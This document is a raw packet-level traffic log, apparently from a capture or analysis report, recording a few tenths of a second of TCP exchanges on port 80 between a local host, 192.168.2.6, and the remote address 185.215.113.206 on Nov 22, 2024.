Nov 22, 2024 14:43:54.677763939 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.677820921 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.678992033 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.679059982 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.679213047 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.679505110 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.680134058 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.680147886 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.680404902 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.681313992 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.681485891 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.681548119 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.682579994 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.682642937 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.683351994 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.683403969 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.683646917 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.683660030 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.683693886 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.683712959 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.684788942 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.684842110 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.685153961 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.685414076 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.686151981 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.686335087 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.686403036 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.687165976 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.688261032 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.688363075 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.688376904 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.688419104 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.688456059 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.689596891 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.689791918 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.690381050 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.690638065 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.691171885 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.691184998 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.691329002 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.691967010 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.691979885 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.692023039 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.693140030 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.693154097 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.693192005 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.693207026 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.694318056 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.694330931 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.694381952 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.695450068 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.695466042 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.695508003 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.695519924 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.696665049 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.696680069 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.696712017 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.696728945 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.697832108 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.697861910 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.697880983 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.697917938 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.699035883 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.699048996 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.699079990 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.699100971 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.700242043 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.700269938 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.700293064 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.700313091 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.701339006 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.701355934 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.701390028 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.701406956 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.702553988 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.702567101 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.702609062 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.703727007 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.703778982 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.703857899 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.703954935 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.704916954 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.704932928 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.705022097 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.706078053 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.706151009 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.706161022 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.706202984 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.707246065 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.707309008 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.707324028 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.707586050 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.708442926 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.708498001 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.708511114 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.708569050 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.709598064 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.709726095 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.710104942 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.710154057 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.710782051 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.710838079 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.711091042 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.711152077 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.711976051 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.712033033 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.712068081 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.712173939 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.713223934 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.713247061 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.713299036 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.714315891 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.714363098 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.714405060 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.714452982 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.715554953 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.715621948 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.715663910 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.715719938 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.716669083 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.716682911 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.716717958 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.716739893 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.717830896 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.717916965 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.717947960 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.718002081 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.719079971 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.719094992 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.719130039 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.719141006 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.720192909 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.720240116 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.856415987 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.856579065 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.856683969 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.856782913 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.856960058 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.857028961 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.857943058 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.858043909 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.858247042 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.858294010 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.859251976 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.859263897 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.859328032 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.860265970 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.860280037 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.860317945 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.860332966 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.861398935 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.861463070 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.861776114 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.861840010 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.862580061 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.862628937 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.862648964 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.863038063 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.863709927 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.863723993 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.863775969 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.863795042 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.864871025 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.865149975 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.865181923 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.865634918 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.865961075 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.866055965 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.866650105 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.866923094 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.867152929 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.867202997 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.868261099 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.868343115 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.868355989 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.868395090 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.869484901 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.869683027 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.869738102 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.870672941 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.870727062 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.870728970 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.870980978 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.871804953 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.871861935 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.872715950 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.872847080 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.872915983 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.872957945 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.873584986 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.873759031 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.874023914 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.874078989 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.874114037 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.874252081 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.875372887 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.875386953 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.875427961 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.876346111 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.876493931 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.876498938 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.876553059 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.877450943 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.877504110 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.877957106 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.878784895 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.878882885 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.878889084 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.879805088 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.879827976 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.880028963 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.881000042 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.881012917 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.881042957 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.881109953 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.881109953 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.882076025 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.882119894 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.882174015 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.883371115 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.883454084 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.884402990 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.884428978 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.884443998 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.884488106 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.884511948 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.885520935 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.885622978 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.885679960 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.886689901 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.886753082 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.887271881 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.887336969 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.887816906 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.887854099 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.887876034 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.887902021 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.888972044 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.888992071 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.889144897 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.890089989 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.890204906 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.890263081 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.891256094 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.892318010 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.892399073 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.892417908 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.892431021 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.892525911 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.893677950 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.893726110 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.893727064 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.893760920 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.894691944 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.894742966 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.894804001 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.894897938 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.895843029 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.895855904 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.895894051 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.895914078 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.897042036 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.897078037 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.897108078 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.897130966 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.898178101 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.898260117 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.898536921 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.898730040 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.899338007 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.899388075 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.899513006 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.899703979 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.900463104 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.900484085 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.900516987 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.900547981 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.901590109 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.901638985 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.901710033 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.902743101 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.902810097 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.903327942 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.903386116 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.904041052 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.904053926 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.904095888 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.905076981 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.905088902 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.905127048 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.905145884 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.906199932 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.906219959 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.906264067 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.907445908 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.907480955 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.907795906 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.908634901 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.908653021 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.908818960 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.909729958 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.909746885 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.909796000 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.910782099 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.910801888 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.910830021 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.910842896 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.912004948 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.912323952 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.912396908 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.912905931 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.913100958 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.913149118 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.913408995 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.913458109 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.914262056 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.914274931 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.914314032 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.915416002 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.915441036 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.915489912 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:54.916826010 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:54.916873932 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.057694912 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.057765961 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.057838917 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.057878017 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.057955980 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.058001995 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.058207989 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.058270931 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.058332920 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.059371948 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.059431076 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.059494972 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.059609890 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.060570955 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.060638905 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.060652018 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.060694933 CET	49819	80	192.168.2.6	185.215.113.206
